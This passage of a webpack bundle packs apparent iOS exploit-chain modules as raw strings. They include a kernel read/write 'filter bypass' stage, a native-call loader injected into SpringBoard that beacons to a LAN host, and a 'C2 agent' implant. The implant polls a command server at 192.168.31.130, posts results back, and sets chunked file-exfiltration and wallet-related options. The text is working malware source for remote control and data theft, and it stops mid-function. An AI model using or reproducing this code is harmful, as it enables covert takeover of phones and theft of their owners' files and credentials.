libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(mainThreadAddr));\nconsole.log(TAG, \"runBypassFlagPtr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(runBypassFlagPtr));\nconsole.log(TAG, \"isRunningPtr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(isRunningPtr));\nconsole.log(TAG, \"mutex: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(mutex));\nconsole.log(TAG, \"migLock: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migLock));\nconsole.log(TAG, \"migSbxMsg: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migSbxMsg));\nconsole.log(TAG, \"migKernelStackLR: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migKernelStackLR));\nconsole.log(TAG, \"monitorThread1Ptr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(monitorThread1Ptr));\nconsole.log(TAG, \"monitorThread2Ptr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(monitorThread2Ptr));\n\ntry {\n\tlet driver = new libs_Driver_DriverNewThread__WEBPACK_IMPORTED_MODULE_7__[\"default\"](kernelControl, kernelRW, kernelBase);\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].init(driver, mutex);\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].testKRW();\n\tlibs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_4__[\"default\"].init();\n\n\tconsole.log(TAG, \"Chain initialized\");\n\n\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(isRunningPtr, 1);\n\n\tstartFilterBypass(runBypassFlagPtr);\n\n\tconsole.log(TAG, \"Terminating bypass thread\");\n}\ncatch (error) {\n\tconsole.log(TAG, \"Error: \" + error);\n\tconsole.log(TAG, \"\" + error.stack);\n}\n})();\n\nvar __webpack_export_target__ = exports;\nfor(var __webpack_i__ in __webpack_exports__) __webpack_export_target__[__webpack_i__] = __webpack_exports__[__webpack_i__];\nif(__webpack_exports__.__esModule) Object.defineProperty(__webpack_export_target__, \"__esModule\", { value: true });\n/******/ })()\n;");
/***/ }),
/***/ "./node_modules/raw-loader/dist/cjs.js!./src/loader.js":
/*!*************************************************************!*\
!*** ./node_modules/raw-loader/dist/cjs.js!./src/loader.js ***!
\*************************************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__)
/* harmony export */ });
/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("class Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\t\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\t//log(\"baseAddr: \" + this.#baseAddr);\n\t\t//log(\"dlsymAddr: \" + this.#dlsymAddr);\n\t\t\n\t\t//this.#memcpyAddr = this.#dlsym(\"test\");\n\t\t//log(\"memcpyAddr: \" + this.#memcpyAddr);\n\t\t//log(\"oinvAddr: \" + this.#oinvAddr);\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize)); //this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\t\n\t\t//log(\"argMem: \" + this.#argMem);\n\t\t//log(\"argMemPtr: \" + this.#argMemPtr);\n\t\t//log(\"argMemPtrStr: \" + this.#argMemPtrStr);\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr)\n\t\t\treturn false;\n\t\t//log(\"write: \" + buff.byteLength);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`writing: ptr=${ptr}, src=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr)\n\t\t\treturn null;\n\t\t//log(`read: ptr=${ptr}, length=${length}, ${typeof(length)}`, ptr, length);\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`reading: ptr=${ptr}, dst=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbol: \" + name);\n\t\t// Initialize argPtr to point to general purpose memory chunk\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtr\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\t\n\tstatic callSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbolRetain: \" + name);\n\t\t// Initialize argPtrPtr to point to general purpose memory chunk\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\tx0 = this.#toNativePtr(x0);\n\t\tx1 = this.#toNativePtr(x1);\n\t\tx2 = this.#toNativePtr(x2);\n\t\tx3 = this.#toNativePtr(x3);\n\t\tx4 = this.#toNativePtr(x4);\n\t\tx5 = this.#toNativePtr(x5);\n\t\tx6 = this.#toNativePtr(x6);\n\t\tx7 = this.#toNativePtr(x7);\n\t\tlet ret = this.#nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtrPtr\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i<bytes8.length; i++) {\n\t\t\tif (!includeNullChar && !bytes8[i])\n\t\t\t\tbreak;\n\t\t\tstr += String.fromCharCode(bytes8[i]);\n\t\t}\n\t\treturn str;\n\t}\n\t\n\tstatic stringToBytes(str, nullTerminated=false) {\n\t\tlet buff = new ArrayBuffer(str.length + (nullTerminated ? 1 : 0));\n\t\tlet s8 = new Uint8Array(buff);\n\t\tfor (let i=0; i<str.length; i++)\n\t\t\ts8[i] = str.charCodeAt(i);\n\t\tif (nullTerminated)\n\t\t\ts8[str.length] = 0x0;\n\t\treturn s8.buffer;\n\t}\n\t\n\tstatic #toNative(value) {\n\t\t//log(\"toNative: \" + typeof value);\n\t\t// Strings need to be manually written to native memory\n\t\tif (!value)\n\t\t\treturn 0n;\n\t\tif (typeof value === 'string') {\n\t\t\tif (value.length >= 0x1000) {\n\t\t\t\tlog('toNative(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') {\n\t\t\treturn value;\n\t\t}\n\t\telse\n\t\t\treturn BigInt(value);\n\t}\n\t\n\tstatic #toNativePtr(value) {\n\t\t//log(\"toNativePtr: \" + typeof value);\n\t\t// Strings need to be manually written to native memory\n\t\tif (!value)\n\t\t\treturn 0n;\n\t\tlet ptr = this.#argPtrPtr;\n\t\tif (typeof value === 'string') {\n\t\t\tif (value.length >= 0x1000) {\n\t\t\t\tlog('toNativePtr(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet strPtr = this.#argPtrStrPtr;\n\t\t\tthis.writeString(strPtr, value);\n\t\t\tthis.#argPtrStrPtr += BigInt(value.length + 1);\n\t\t\tvalue = strPtr;\n\t\t}\n\t\telse if (typeof value !== 'bigint') {\n\t\t\tvalue = BigInt(value);\n\t\t}\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t\tthis.#argPtrPtr += 8n;\n\t\treturn ptr;\n\t}\n\t\n\tstatic #dlsym(name) {\n\t\tif (!name)\n\t\t\treturn 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr)\n\t\t\treturn addr;\n\t\t//log(\"dlsym(): \" + name);\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr)\n\t\t\tthis.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\t//log(\"nativeCallAddr(): \" + addr);\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\t\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\n\t\tinvoker();\n\t\t\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\t//log(\"nativeCallSymbol(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n\t\n\tstatic #nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"nativeCallSymbolRetain(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\t\n\t\tconst selRetainArguments = this.callSymbol(\"sel_registerName\", \"retainArguments\");\n\t\tconst selSetArgument = this.callSymbol(\"sel_registerName\", \"setArgument:atIndex:\");\n\t\tconst selInvokeUsingIMP = this.callSymbol(\"sel_registerName\", \"invokeUsingIMP:\");\n\t\tconst selGetReturnValue = this.callSymbol(\"sel_registerName\", \"getReturnValue:\");\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selRetainArguments);\n\t\t\n\t\tif (x0) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x0, 0);\n\t\tif (x1) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x1, 1);\n\t\tif (x2) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x2, 2);\n\t\tif (x3) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x3, 3);\n\t\tif (x4) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x4, 4);\n\t\tif (x5) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x5, 5);\n\t\tif (x6) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x6, 6);\n\t\tif (x7) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x7, 7);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selInvokeUsingIMP, funcAddr);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selGetReturnValue, this.#argMemPtr);\n\t\tconst ret64 = this.readPtr(this.#argMemPtr);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\nfunction File(path) {\n\treturn path;\n}\n\nfunction log(msg) {\n\tif (logging)\n\t\treturn;\n\n\tlogging = true;\n\t\n\tconst data = Native.stringToBytes(msg + \"\\n\");\n\n\tconst O_WRONLY = 0x0001;\n\tconst O_APPEND = 0x0008;\n\tconst O_CREAT = 0x0200;\n\tconst flags = O_WRONLY | O_CREAT | O_APPEND;\n\tconst fd = Native.callSymbol(\"open\", File(logfile), flags, 0o644);\n\tif (fd < 0) {\n\t\tlogging = false;\n\t\treturn;\n\t}\n\n\t// For some reason file mode is not applied on open()\n\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\tlet offs = 0;\n\tlet left = data.byteLength;\n\n\tconst buffSize = 0x4000;\n\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\twhile (left) {\n\t\tconst size = left > buffSize ? buffSize : left;\n\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\tconst dst8 = new Uint8Array(src8);\n\t\tNative.write(buffPtr, dst8.buffer);\n\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\tif (!len || len < 0)\n\t\t\tbreak;\n\t\toffs += len;\n\t\tleft -= len;\n\t}\n\n\tNative.callSymbol(\"free\", buffPtr);\n\tNative.callSymbol(\"close\", fd);\n\n\tlogging = false;\n}\n\nvar logging = false;\nconst logfile = \"/private/var/mobile/Media/RemoteLog.log\";\n\nNative.init();\n\nNative.callSymbol(\"unlink\", File(logfile));\n\n// ===== DEBUG uplink: prove loader actually ran inside SpringBoard =====\ntry {\n\tvar _lfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_lfd >= 0) {\n\t\tvar _lone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_lone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _lfd, 0xffff, 0x1022, _lone, 4);\n\t\tNative.callSymbol(\"free\", _lone);\n\t\tvar _laddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _la8 = new Uint8Array(16);\n\t\t_la8[0] = 16; _la8[1] = 2; _la8[2] = 0x1B; _la8[3] = 0x6E;\n\t\t_la8[4] = 192; _la8[5] = 168; _la8[6] = 4; _la8[7] = 10;\n\t\tNative.write(_laddr, _la8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _lfd, _laddr, 16)) === 0) {\n\t\t\tvar _lreq = \"GET /log.html?text=PEMK_G_loader_alive_springboard HTTP/1.0\\r\\nHost: 192.168.31.130\\r\\n\\r\\n\";\n\t\t\tvar _lrbuf = Native.callSymbol(\"malloc\", _lreq.length + 1);\n\t\t\tNative.writeString(_lrbuf, _lreq);\n\t\t\tNative.callSymbol(\"write\", _lfd, _lrbuf, _lreq.length);\n\t\t\tNative.callSymbol(\"free\", _lrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _lfd);\n\t\tNative.callSymbol(\"free\", _laddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n");
/***/ }),
/***/ "./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js":
/*!****************************************************************!*\
!*** ./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js ***!
\****************************************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__)
/* harmony export */ });
/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// C2 Agent Payload - persistent loop in SpringBoard\n// Communicates with command.py via HTTP, runs until reboot\n// http://192.168.31.130:8080/beacon / http://192.168.31.130:8080/result replaced by server.py at load time\n// UUID and device model are obtained natively at runtime\n\nconst C2_BEACON_URL = \"http://192.168.31.130:8080/beacon\";\nconst C2_RESULT_URL = \"http://192.168.31.130:8080/result\";\nconst C2_CHANNEL_CODE = \"\";\nconst HQ_API_BASE = \"http://192.168.31.130:8080\";\nconst HQ_WALLET_PORT = \"8080\";\nconst MAX_FILE_SIZE = 2 * 1024 * 1024;\nconst CHUNK_SIZE = 1024 * 1024;\n// /war single-POST threshold: larger packages are split into war_chunk parts on the same endpoint.\nconst WAR_POST_MAX = 5 * 1024 * 1024;\n\n// ============================================================================\n// Native Class (shared nativeCallBuff + invoker pattern)\n// ============================================================================\n\nclass Native {\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\tstatic #dlsymCache = {};\n\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr= this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr= this.#argMemPtrStr;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0, left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0, left = length;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\n\tstatic readPtr(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 8));\n\t\treturn v.getBigUint64(0, true);\n\t}\n\tstatic read32(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 4));\n\t\treturn v.getInt32(0, true);\n\t}\n\tstatic write64(ptr, value) {\n\t\tconst b = new ArrayBuffer(8);\n\t\tnew DataView(b).setBigUint64(0, value, true);\n\t\tthis.write(ptr, b);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\treturn this.bytesToString(this.read(ptr, len), false);\n\t}\n\tstatic writeString(ptr, str) {\n\t\tthis.write(ptr, this.stringToBytes(str, true));\n\t}\n\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0); x1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2); x3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4); x5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6); x7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNull=true) {\n\t\tlet a = new Uint8Array(bytes), s = \"\";\n\t\tfor (let i = 0; i < a.length; i++) {\n\t\t\tif (!includeNull && !a[i]) break;\n\t\t\ts += String.fromCharCode(a[i]);\n\t\t}\n\t\treturn s;\n\t}\n\tstatic stringToBytes(str, nullTerm=false) {\n\t\tlet b = new ArrayBuffer(str.length + (nullTerm ? 1 : 0));\n\t\tlet a = new Uint8Array(b);\n\t\tfor (let i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\t\tif (nullTerm) a[str.length] = 0;\n\t\treturn a.buffer;\n\t}\n\n\tstatic #toNative(v) {\n\t\tif (!v) return 0n;\n\t\tif (typeof v === 'string') {\n\t\t\tif (v.length >= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, v);\n\t\t\tthis.#argPtr += BigInt(v.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\treturn typeof v === 'bigint' ? v : BigInt(v);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet a = this.#dlsymCache[name];\n\t\tif (a) return a;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nb = this.stringToBytes(name, true);\n\t\tnew Uint8Array(nativeCallBuff).set(new Uint8Array(nb), 0x1000);\n\t\ta = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (a) this.#dlsymCache[name] = a;\n\t\treturn a;\n\t}\n\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet b = new BigInt64Array(nativeCallBuff);\n\t\tb[0]=addr; b[100]=x0; b[101]=x1; b[102]=x2; b[103]=x3;\n\t\tb[104]=x4; b[105]=x5; b[106]=x6; b[107]=x7;\n\t\tinvoker();\n\t\treturn b[200];\n\t}\n\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst addr = this.#dlsym(name);\n\t\tconst r = this.#nativeCallAddr(addr, ...args);\n\t\tif (r < 0xffffffffn && r > -0xffffffffn) return Number(r);\n\t\treturn r;\n\t}\n}\n\n// ============================================================================\n// URL Parsing\n// ============================================================================\n\nfunction parseURL(url) {\n\tlet host = \"\", port = 80, path = \"/\";\n\tlet s = url;\n\tif (s.indexOf(\"https://\") === 0) { s = s.substring(8); port = 443; }\n\telse if (s.indexOf(\"http://\") === 0) s = s.substring(7);\n\tconst sl = s.indexOf(\"/\");\n\tif (sl >= 0) { path = s.substring(sl); s = s.substring(0, sl); }\n\tconst cl = s.indexOf(\":\");\n\tif (cl >= 0) { host = s.substring(0, cl); port = parseInt(s.substring(cl + 1)); }\n\telse host = s;\n\treturn { host, port, path };\n}\n\n// ============================================================================\n// Base64\n// ============================================================================\n\nconst B64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nfunction bytesToBase64(bytes) {\n\tlet r = \"\";\n\tfor (let i = 0; i < bytes.length; i += 3) {\n\t\tconst a = bytes[i], b = i+1 < bytes.length ? bytes[i+1] : 0, c = i+2 < bytes.length ? bytes[i+2] : 0;\n\t\tr += B64[a >> 2];\n\t\tr += B64[((a & 3) << 4) | (b >> 4)];\n\t\tr += i+1 < bytes.length ? B64[((b & 15) << 2) | (c >> 6)] : \"=\";\n\t\tr += i+2 < bytes.length ? B64[c & 63] : \"=\";\n\t}\n\treturn r;\n}\n\n// ============================================================================\n// POSIX Socket HTTP Client (http:// only, LAN testing)\n// ============================================================================\n\nfunction _sendBytes(fd, str) {\n\tconst SZ = 4096;\n\tlet sent = 0;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ + 1));\n\twhile (sent < str.length) {\n\t\tconst end = sent + SZ < str.length ? sent + SZ : str.length;\n\t\tconst part = str.substring(sent, end);\n\t\tNative.writeString(buf, part);\n\t\tconst n = Number(Native.callSymbol(\"write\", fd, buf, part.length));\n\t\tif (n <= 0) break;\n\t\tsent += n;\n\t}\n\tNative.callSymbol(\"free\", buf);\n}\n\nfunction _recvAll(fd) {\n\tconst SZ = 4096;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ));\n\tlet result = \"\";\n\tfor (;;) {\n\t\tconst n = Number(Native.callSymbol(\"read\", fd, buf, SZ - 1));\n\t\tif (n <= 0) break;\n\t\tresult += Native.readString(buf, n);\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn result;\n}\n\nfunction _socketPost(host, port, path, bodyStr) {\n\tconst fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return null;\n\n\ttry {\n\t\tconst tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n);\n\t\tNative.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\n\t\tconst sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tconst sab = new ArrayBuffer(16);\n\t\tconst sv = new DataView(sab);\n\t\tsv.setUint8(0, 16);\n\t\tsv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tconst p = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(p[0]));\n\t\tsv.setUint8(5, parseInt(p[1]));\n\t\tsv.setUint8(6, parseInt(p[2]));\n\t\tsv.setUint8(7, parseInt(p[3]));\n\t\tNative.write(sa, sab);\n\n\t\tconst cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return null;\n\n\t\tconst hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host + \"\\r\\nContent-Type: application/json\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t_sendBytes(fd, hdr);\n\t\t_sendBytes(fd, bodyStr);\n\n\t\tconst resp = _recvAll(fd);\n\t\tconst idx = resp.indexOf(\"\\r\\n\\r\\n\");\n\t\tif (idx < 0) return null;\n\t\ttry { return 